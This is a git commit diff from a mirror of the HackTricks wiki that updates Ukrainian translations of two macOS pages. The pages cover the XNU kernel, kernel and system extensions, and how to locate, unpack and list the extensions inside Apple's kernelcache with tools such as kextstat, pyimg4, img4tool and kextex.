mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 06:00:40 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
06142d5340
commit
63c91c5b8d
5 changed files with 421 additions and 370 deletions
|
@ -1,151 +1,97 @@
|
||||||
# Ядро та Системні Розширення macOS
|
# macOS Kernel & System Extensions
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Вивчайте та практикуйте Хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Червоної Команди HackTricks (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Вивчайте та практикуйте Хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Червоної Команди HackTricks (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Підтримайте HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Поділіться хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Ядро XNU
|
## XNU Kernel
|
||||||
|
|
||||||
**Основа macOS - це XNU**, що означає "X не є Unix". Це ядро фундаментально складається з **мікроядра Mach** (про яке буде розповідь пізніше), **та** елементів з Berkeley Software Distribution (**BSD**). XNU також надає платформу для **ядерних драйверів через систему, що називається I/O Kit**. Ядро XNU є частиною відкритого проекту Darwin, що означає, що **його вихідний код є вільно доступним**.
|
**Ядро macOS - це XNU**, що означає "X is Not Unix". Це ядро в основному складається з **Mach мікроядра** (про яке буде сказано пізніше) та елементів з Berkeley Software Distribution (**BSD**). XNU також забезпечує платформу для **драйверів ядра через систему, відому як I/O Kit**. Ядро XNU є частиною проекту з відкритим вихідним кодом Darwin, що означає, що **його вихідний код є вільно доступним**.
|
||||||
|
|
||||||
З погляду дослідника з безпеки або розробника Unix, **macOS** може виглядати досить **схожим** на систему **FreeBSD** з елегантним GUI та масою власних додатків. Більшість додатків, розроблених для BSD, будуть компілюватися та працювати на macOS без необхідності внесення змін, оскільки командні інструменти, знайомі користувачам Unix, присутні в macOS. Однак, через те, що ядро XNU включає Mach, існують деякі значні відмінності між традиційною системою, схожою на Unix, та macOS, і ці відмінності можуть викликати потенційні проблеми або надавати унікальні переваги.
|
З точки зору дослідника безпеки або розробника Unix, **macOS** може здаватися досить **схожим** на систему **FreeBSD** з елегантним графічним інтерфейсом та безліччю спеціальних додатків. Більшість додатків, розроблених для BSD, будуть компілюватися та працювати на macOS без необхідності модифікацій, оскільки командні інструменти, знайомі користувачам Unix, присутні в macOS. Однак, оскільки ядро XNU включає Mach, існують деякі суттєві відмінності між традиційною системою, схожою на Unix, та macOS, і ці відмінності можуть викликати потенційні проблеми або надавати унікальні переваги.
|
||||||
|
|
||||||
Відкрита версія XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
|
Відкрита версія XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
|
||||||
|
|
||||||
### Mach
|
### Mach
|
||||||
|
|
||||||
Mach - це **мікроядро**, призначене бути **сумісним з UNIX**. Одним з його ключових принципів дизайну було **мінімізувати** кількість **коду**, що виконується в **просторі ядра**, і натомість дозволяти багатьом типовим функціям ядра, таким як файлова система, мережа та введення/виведення, **виконуватися як завдання на рівні користувача**.
|
Mach - це **мікроядро**, розроблене для того, щоб бути **сумісним з UNIX**. Одним з його ключових принципів дизайну було **мінімізувати** кількість **коду**, що виконується в **ядровому** просторі, і натомість дозволити багатьом типовим функціям ядра, таким як файлові системи, мережі та I/O, **виконуватися як завдання на рівні користувача**.
|
||||||
|
|
||||||
У XNU Mach **відповідає за багато критичних операцій на низькому рівні**, які зазвичай обробляє ядро, такі як планування процесора, багатозадачність та управління віртуальною пам'яттю.
|
У XNU Mach **відповідає за багато критично важливих низькорівневих операцій**, які зазвичай обробляє ядро, таких як планування процесора, багатозадачність та управління віртуальною пам'яттю.
|
||||||
|
|
||||||
### BSD
|
### BSD
|
||||||
|
|
||||||
Ядро XNU також **включає** значну кількість коду, походящого з проекту **FreeBSD**. Цей код **виконується як частина ядра разом з Mach**, в тому ж адресному просторі. Однак код FreeBSD в XNU може суттєво відрізнятися від оригінального коду FreeBSD через необхідні модифікації для забезпечення його сумісності з Mach. FreeBSD сприяє багатьом операціям ядра, включаючи:
|
Ядро XNU також **включає** значну кількість коду, отриманого з проекту **FreeBSD**. Цей код **виконується як частина ядра разом з Mach**, в одному адресному просторі. Однак код FreeBSD в XNU може суттєво відрізнятися від оригінального коду FreeBSD, оскільки були потрібні модифікації для забезпечення його сумісності з Mach. FreeBSD сприяє багатьом операціям ядра, включаючи:
|
||||||
|
|
||||||
* Управління процесами
|
* Управління процесами
|
||||||
* Обробка сигналів
|
* Обробка сигналів
|
||||||
* Основні механізми безпеки, включаючи управління користувачами та групами
|
* Основні механізми безпеки, включаючи управління користувачами та групами
|
||||||
* Інфраструктура системних викликів
|
* Інфраструктура системних викликів
|
||||||
* TCP/IP стек та сокети
|
* Стек TCP/IP та сокети
|
||||||
* Брандмауер та фільтрація пакетів
|
* Брандмауер та фільтрація пакетів
|
||||||
|
|
||||||
Розуміння взаємодії між BSD та Mach може бути складним через їх різні концептуальні каркаси. Наприклад, BSD використовує процеси як свою основну виконавчу одиницю, тоді як Mach працює на основі потоків. Ця розбіжність узгоджується в XNU шляхом **асоціювання кожного процесу BSD з завданням Mach**, яке містить рівно один потік Mach. Коли використовується системний виклик fork() BSD, код BSD в межах ядра використовує функції Mach для створення структури завдання та потоку.
|
Розуміння взаємодії між BSD та Mach може бути складним через їх різні концептуальні рамки. Наприклад, BSD використовує процеси як свою основну одиницю виконання, тоді як Mach працює на основі потоків. Ця розбіжність узгоджується в XNU шляхом **асоціювання кожного процесу BSD з завданням Mach**, яке містить точно один потік Mach. Коли використовується системний виклик fork() BSD, код BSD в ядрі використовує функції Mach для створення структури завдання та потоку.
|
||||||
|
|
||||||
Більше того, **Mach та BSD кожен мають власні моделі безпеки**: **модель безпеки Mach** базується на **правах портів**, тоді як модель безпеки BSD працює на основі **власності процесу**. Розбіжності між цими двома моделями іноді призводили до вразливостей локального підвищення привілеїв. Окрім типових системних викликів, також існують **пастки Mach**, які дозволяють програмам простору користувача взаємодіяти з ядром. Ці різні елементи разом формують багатогранну, гібридну архітектуру ядра macOS.
|
Більше того, **Mach та BSD кожен підтримує різні моделі безпеки**: **модель безпеки Mach** базується на **правах портів**, тоді як модель безпеки BSD працює на основі **власності процесу**. Відмінності між цими двома моделями іноді призводили до вразливостей підвищення локальних привілеїв. Окрім типових системних викликів, також існують **Mach traps, які дозволяють програмам користувацького простору взаємодіяти з ядром**. Ці різні елементи разом формують багатогранну, гібридну архітектуру ядра macOS.
|
||||||
|
|
||||||
### I/O Kit - Драйвери
|
### I/O Kit - Драйвери
|
||||||
|
|
||||||
I/O Kit - це відкритий, об'єктно-орієнтований **фреймворк драйверів пристроїв** в ядрі XNU, який обробляє **динамічно завантажувані драйвери пристроїв**. Він дозволяє додавати модульний код до ядра на льоту, підтримуючи різноманітне обладнання.
|
I/O Kit - це відкритий, об'єктно-орієнтований **фреймворк драйверів пристроїв** в ядрі XNU, який обробляє **динамічно завантажувані драйвери пристроїв**. Він дозволяє модульному коду додаватися до ядра на льоту, підтримуючи різноманітне апаратне забезпечення.
|
||||||
|
|
||||||
{% content-ref url="macos-iokit.md" %}
|
{% content-ref url="macos-iokit.md" %}
|
||||||
[macos-iokit.md](macos-iokit.md)
|
[macos-iokit.md](macos-iokit.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### IPC - Міжпроцесова Комунікація
|
### IPC - Міжпроцесна комунікація
|
||||||
|
|
||||||
{% content-ref url="../macos-proces-abuse/macos-ipc-inter-process-communication/" %}
|
{% content-ref url="../macos-proces-abuse/macos-ipc-inter-process-communication/" %}
|
||||||
[macos-ipc-inter-process-communication](../macos-proces-abuse/macos-ipc-inter-process-communication/)
|
[macos-ipc-inter-process-communication](../macos-proces-abuse/macos-ipc-inter-process-communication/)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Kernelcache
|
## macOS Kernel Extensions
|
||||||
|
|
||||||
**Kernelcache** - це **попередньо скомпільована та попередньо зв'язана версія ядра XNU**, разом з основними драйверами пристроїв та розширеннями ядра. Він зберігається у **стиснутому** форматі та розпаковується в пам'ять під час процесу завантаження. Kernelcache сприяє **швидшому часу завантаження** за рахунок наявності готової до запуску версії ядра та важливих драйверів, що дозволяє зменшити час та ресурси, які інакше б витрачалися на динамічне завантаження та зв'язування цих компонентів під час завантаження.
|
macOS є **надзвичайно обмеженим для завантаження розширень ядра** (.kext) через високі привілеї, з якими буде виконуватися код. Насправді, за замовчуванням це практично неможливо (якщо не знайдено обхід).
|
||||||
|
|
||||||
У iOS він розташований у **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**, у macOS ви можете знайти його за допомогою **`find / -name kernelcache 2>/dev/null`** або **`mdfind kernelcache | grep kernelcache`**
|
На наступній сторінці ви також можете побачити, як відновити `.kext`, які macOS завантажує всередині свого **kernelcache**:
|
||||||
|
|
||||||
Можливо виконати **`kextstat`** для перевірки завантажених розширень ядра.
|
|
||||||
|
|
||||||
#### IMG4
|
|
||||||
|
|
||||||
Формат файлу IMG4 - це контейнерний формат, який використовується Apple у своїх пристроях iOS та macOS для безпечного **зберігання та перевірки компонентів прошивки** (наприклад, **kernelcache**). Формат IMG4 включає заголовок та кілька тегів, які упаковують різні частини даних, включаючи фактичний навантаження (як ядро або завантажувач), підпис, та набір властивостей маніфесту. Формат підтримує криптографічну перевірку, що дозволяє пристрою підтвердити автентичність та цілісність компонента прошивки перед його виконанням.
|
|
||||||
|
|
||||||
Зазвичай складається з наступних компонентів:
|
|
||||||
|
|
||||||
* **Навантаження (IM4P)**:
|
|
||||||
* Часто стиснене (LZFSE4, LZSS, ...)
|
|
||||||
* Опціонально зашифроване
|
|
||||||
* **Маніфест (IM4M)**:
|
|
||||||
* Містить підпис
|
|
||||||
* Додатковий словник Ключ/Значення
|
|
||||||
* **Інформація про відновлення (IM4R)**:
|
|
||||||
* Також відомий як APNonce
|
|
||||||
* Запобігає повторному відтворенню деяких оновлень
|
|
||||||
* НЕОБОВ'ЯЗКОВО: Зазвичай цього не знаходять
|
|
||||||
|
|
||||||
Розпакуйте Kernelcache:
|
|
||||||
```bash
|
|
||||||
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
|
||||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
|
||||||
|
|
||||||
# img4tool (https://github.com/tihmstar/img4tool
|
|
||||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
|
||||||
```
|
|
||||||
#### Символи ядра
|
|
||||||
|
|
||||||
Іноді Apple випускає **ядро кешу** з **символами**. Ви можете завантажити деякі прошивки з символами, перейшовши за посиланням на [https://theapplewiki.com](https://theapplewiki.com/).
|
|
||||||
|
|
||||||
### IPSW
|
|
||||||
|
|
||||||
Це прошивки Apple, які можна завантажити з [**https://ipsw.me/**](https://ipsw.me/). Серед інших файлів вони міститимуть **ядро кешу**.\
|
|
||||||
Для **розпакування** файлів ви можете просто розархівувати їх.
|
|
||||||
|
|
||||||
Після розпакування прошивки ви отримаєте файл, наприклад: **`kernelcache.release.iphone14`**. Він у форматі **IMG4**, ви можете витягти цікаву інформацію за допомогою:
|
|
||||||
|
|
||||||
* [**pyimg4**](https://github.com/m1stadev/PyIMG4)
|
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
|
||||||
```bash
|
|
||||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
|
||||||
```
|
|
||||||
{% endcode %}
|
|
||||||
|
|
||||||
* [**img4tool**](https://github.com/tihmstar/img4tool)
|
|
||||||
```bash
|
|
||||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
|
||||||
```
|
|
||||||
Ви можете перевірити витягнутий kernelcache на символи за допомогою: **`nm -a kernelcache.release.iphone14.e | wc -l`**
|
|
||||||
|
|
||||||
З цим ми тепер можемо **витягнути всі розширення** або **те, що вас цікавить:**
|
|
||||||
```bash
|
|
||||||
# List all extensions
|
|
||||||
kextex -l kernelcache.release.iphone14.e
|
|
||||||
## Extract com.apple.security.sandbox
|
|
||||||
kextex -e com.apple.security.sandbox kernelcache.release.iphone14.e
|
|
||||||
|
|
||||||
# Extract all
|
|
||||||
kextex_all kernelcache.release.iphone14.e
|
|
||||||
|
|
||||||
# Check the extension for symbols
|
|
||||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
|
||||||
```
|
|
||||||
## Розширення ядра macOS
|
|
||||||
|
|
||||||
macOS **дуже обмежує завантаження розширень ядра** (.kext) через високі привілеї, з якими цей код буде виконуватися. Фактично, за замовчуванням це практично неможливо (якщо не знайдено обхід).
|
|
||||||
|
|
||||||
{% content-ref url="macos-kernel-extensions.md" %}
|
{% content-ref url="macos-kernel-extensions.md" %}
|
||||||
[macos-kernel-extensions.md](macos-kernel-extensions.md)
|
[macos-kernel-extensions.md](macos-kernel-extensions.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Розширення системи macOS
|
### macOS System Extensions
|
||||||
|
|
||||||
Замість використання Розширень ядра macOS створила Розширення системи, які надають API рівня користувача для взаємодії з ядром. Таким чином, розробники можуть уникнути використання розширень ядра.
|
Замість використання розширень ядра macOS створив системні розширення, які пропонують API на рівні користувача для взаємодії з ядром. Таким чином, розробники можуть уникнути використання розширень ядра.
|
||||||
|
|
||||||
{% content-ref url="macos-system-extensions.md" %}
|
{% content-ref url="macos-system-extensions.md" %}
|
||||||
[macos-system-extensions.md](macos-system-extensions.md)
|
[macos-system-extensions.md](macos-system-extensions.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Посилання
|
## References
|
||||||
|
|
||||||
* [**Посібник хакера Mac**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
|
* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
|
||||||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# macOS Kernel Extensions
|
# macOS Kernel Extensions
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -21,7 +21,7 @@ Kernel extensions (Kexts) are **пакети** з розширенням **`.kex
|
||||||
|
|
||||||
### Requirements
|
### Requirements
|
||||||
|
|
||||||
Очевидно, що це настільки потужно, що **завантажити розширення ядра** є **складним**. Це **вимоги**, які повинно виконувати розширення ядра, щоб бути завантаженим:
|
Очевидно, що це настільки потужно, що **завантажити розширення ядра** є **складним**. Це **вимоги**, які повинні бути виконані, щоб розширення ядра могло бути завантажено:
|
||||||
|
|
||||||
* Коли **входите в режим відновлення**, розширення ядра **повинні бути дозволені** для завантаження:
|
* Коли **входите в режим відновлення**, розширення ядра **повинні бути дозволені** для завантаження:
|
||||||
|
|
||||||
|
@ -38,31 +38,128 @@ Kernel extensions (Kexts) are **пакети** з розширенням **`.kex
|
||||||
У Catalina це виглядало так: Цікаво відзначити, що процес **перевірки** відбувається в **користувацькому просторі**. Однак тільки програми з наданням **`com.apple.private.security.kext-management`** можуть **запитувати у ядра завантажити розширення**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
У Catalina це виглядало так: Цікаво відзначити, що процес **перевірки** відбувається в **користувацькому просторі**. Однак тільки програми з наданням **`com.apple.private.security.kext-management`** можуть **запитувати у ядра завантажити розширення**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||||
|
|
||||||
1. **`kextutil`** cli **починає** процес **перевірки** для завантаження розширення
|
1. **`kextutil`** cli **починає** процес **перевірки** для завантаження розширення
|
||||||
* Він спілкуватиметься з **`kextd`**, використовуючи **Mach service**.
|
* Він спілкується з **`kextd`**, використовуючи **Mach service**.
|
||||||
2. **`kextd`** перевірить кілька речей, таких як **підпис**
|
2. **`kextd`** перевірить кілька речей, таких як **підпис**
|
||||||
* Він спілкуватиметься з **`syspolicyd`**, щоб **перевірити**, чи може розширення бути **завантаженим**.
|
* Він спілкується з **`syspolicyd`**, щоб **перевірити**, чи може розширення бути **завантаженим**.
|
||||||
3. **`syspolicyd`** **запитає** **користувача**, якщо розширення не було завантажено раніше.
|
3. **`syspolicyd`** **запитає** **користувача**, якщо розширення не було завантажено раніше.
|
||||||
* **`syspolicyd`** повідомить результат **`kextd`**
|
* **`syspolicyd`** повідомить результат **`kextd`**
|
||||||
4. **`kextd`** нарешті зможе **сказати ядру завантажити** розширення
|
4. **`kextd`** нарешті зможе **сказати ядру завантажити** розширення
|
||||||
|
|
||||||
Якщо **`kextd`** недоступний, **`kextutil`** може виконати ті ж перевірки.
|
Якщо **`kextd`** недоступний, **`kextutil`** може виконати ті ж перевірки.
|
||||||
|
|
||||||
## Referencias
|
### Enumeration (loaded kexts)
|
||||||
|
```bash
|
||||||
|
# Get loaded kernel extensions
|
||||||
|
kextstat
|
||||||
|
|
||||||
|
# Get dependencies of the kext number 22
|
||||||
|
kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
|
||||||
|
```
|
||||||
|
## Kernelcache
|
||||||
|
|
||||||
|
{% hint style="danger" %}
|
||||||
|
Навіть якщо очікується, що розширення ядра будуть у `/System/Library/Extensions/`, якщо ви зайдете в цю папку, ви **не знайдете жодного бінарного файлу**. Це пов'язано з **kernelcache**, і для того, щоб зворотно інженерити один `.kext`, вам потрібно знайти спосіб його отримати.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
**Kernelcache** - це **попередньо скомпільована та попередньо зв'язана версія ядра XNU**, разом з основними **драйверами** та **розширеннями ядра**. Він зберігається у **сжатому** форматі і розпаковується в пам'яті під час процесу завантаження. Kernelcache сприяє **швидшому часу завантаження**, маючи готову до запуску версію ядра та важливих драйверів, що зменшує час і ресурси, які інакше витрачалися б на динамічне завантаження та зв'язування цих компонентів під час завантаження.
|
||||||
|
|
||||||
|
### Local Kerlnelcache
|
||||||
|
|
||||||
|
В iOS він розташований у **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**, в macOS ви можете знайти його за допомогою: **`find / -name "kernelcache" 2>/dev/null`** \
|
||||||
|
У моєму випадку в macOS я знайшов його в:
|
||||||
|
|
||||||
|
* `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
|
||||||
|
|
||||||
|
#### IMG4
|
||||||
|
|
||||||
|
Формат файлу IMG4 - це контейнерний формат, який використовується Apple в її пристроях iOS та macOS для безпечного **зберігання та перевірки компонентів прошивки** (як-от **kernelcache**). Формат IMG4 включає заголовок і кілька тегів, які інкапсулюють різні частини даних, включаючи фактичний корисний навантаження (як-от ядро або завантажувач), підпис і набір властивостей маніфесту. Формат підтримує криптографічну перевірку, що дозволяє пристрою підтверджувати автентичність та цілісність компонента прошивки перед його виконанням.
|
||||||
|
|
||||||
|
Він зазвичай складається з наступних компонентів:
|
||||||
|
|
||||||
|
* **Payload (IM4P)**:
|
||||||
|
* Часто стиснутий (LZFSE4, LZSS, …)
|
||||||
|
* За бажанням зашифрований
|
||||||
|
* **Manifest (IM4M)**:
|
||||||
|
* Містить підпис
|
||||||
|
* Додатковий словник ключ/значення
|
||||||
|
* **Restore Info (IM4R)**:
|
||||||
|
* Відомий також як APNonce
|
||||||
|
* Запобігає повторному використанню деяких оновлень
|
||||||
|
* OPTIONAL: Зазвичай це не знаходиться
|
||||||
|
|
||||||
|
Розпакуйте Kernelcache:
|
||||||
|
```bash
|
||||||
|
# img4tool (https://github.com/tihmstar/img4tool
|
||||||
|
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||||
|
|
||||||
|
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
||||||
|
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||||
|
```
|
||||||
|
### Завантажити 
|
||||||
|
|
||||||
|
* [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
|
||||||
|
|
||||||
|
У [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) можна знайти всі набори для налагодження ядра. Ви можете завантажити його, змонтувати, відкрити за допомогою інструменту [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html), отримати доступ до папки **`.kext`** та **екстрактувати** його.
|
||||||
|
|
||||||
|
Перевірте його на наявність символів за допомогою:
|
||||||
|
```bash
|
||||||
|
nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
|
||||||
|
```
|
||||||
|
* [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/)
|
||||||
|
|
||||||
|
Іноді Apple випускає **kernelcache** з **символами**. Ви можете завантажити деякі прошивки з символами, перейшовши за посиланнями на цих сторінках. Прошивки міститимуть **kernelcache** серед інших файлів.
|
||||||
|
|
||||||
|
Щоб **витягти** файли, почніть з зміни розширення з `.ipsw` на `.zip` і **розпакуйте** його.
|
||||||
|
|
||||||
|
Після витягування прошивки ви отримаєте файл на кшталт: **`kernelcache.release.iphone14`**. Він у форматі **IMG4**, ви можете витягти цікаву інформацію за допомогою:
|
||||||
|
|
||||||
|
[**pyimg4**](https://github.com/m1stadev/PyIMG4)**:**
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
|
```bash
|
||||||
|
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||||
|
```
|
||||||
|
{% endcode %}
|
||||||
|
|
||||||
|
[**img4tool**](https://github.com/tihmstar/img4tool)**:**
|
||||||
|
```bash
|
||||||
|
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||||
|
```
|
||||||
|
### Inspecting kernelcache
|
||||||
|
|
||||||
|
Перевірте, чи має kernelcache символи з
|
||||||
|
```bash
|
||||||
|
nm -a kernelcache.release.iphone14.e | wc -l
|
||||||
|
```
|
||||||
|
З цим ми тепер можемо **витягти всі розширення** або **те, яке вас цікавить:**
|
||||||
|
```bash
|
||||||
|
# List all extensions
|
||||||
|
kextex -l kernelcache.release.iphone14.e
|
||||||
|
## Extract com.apple.security.sandbox
|
||||||
|
kextex -e com.apple.security.sandbox kernelcache.release.iphone14.e
|
||||||
|
|
||||||
|
# Extract all
|
||||||
|
kextex_all kernelcache.release.iphone14.e
|
||||||
|
|
||||||
|
# Check the extension for symbols
|
||||||
|
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||||
|
```
|
||||||
|
## Посилання
|
||||||
|
|
||||||
* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
|
* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
|
||||||
* [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
|
* [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Вивчайте та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Вивчайте та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Підтримайте HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||||
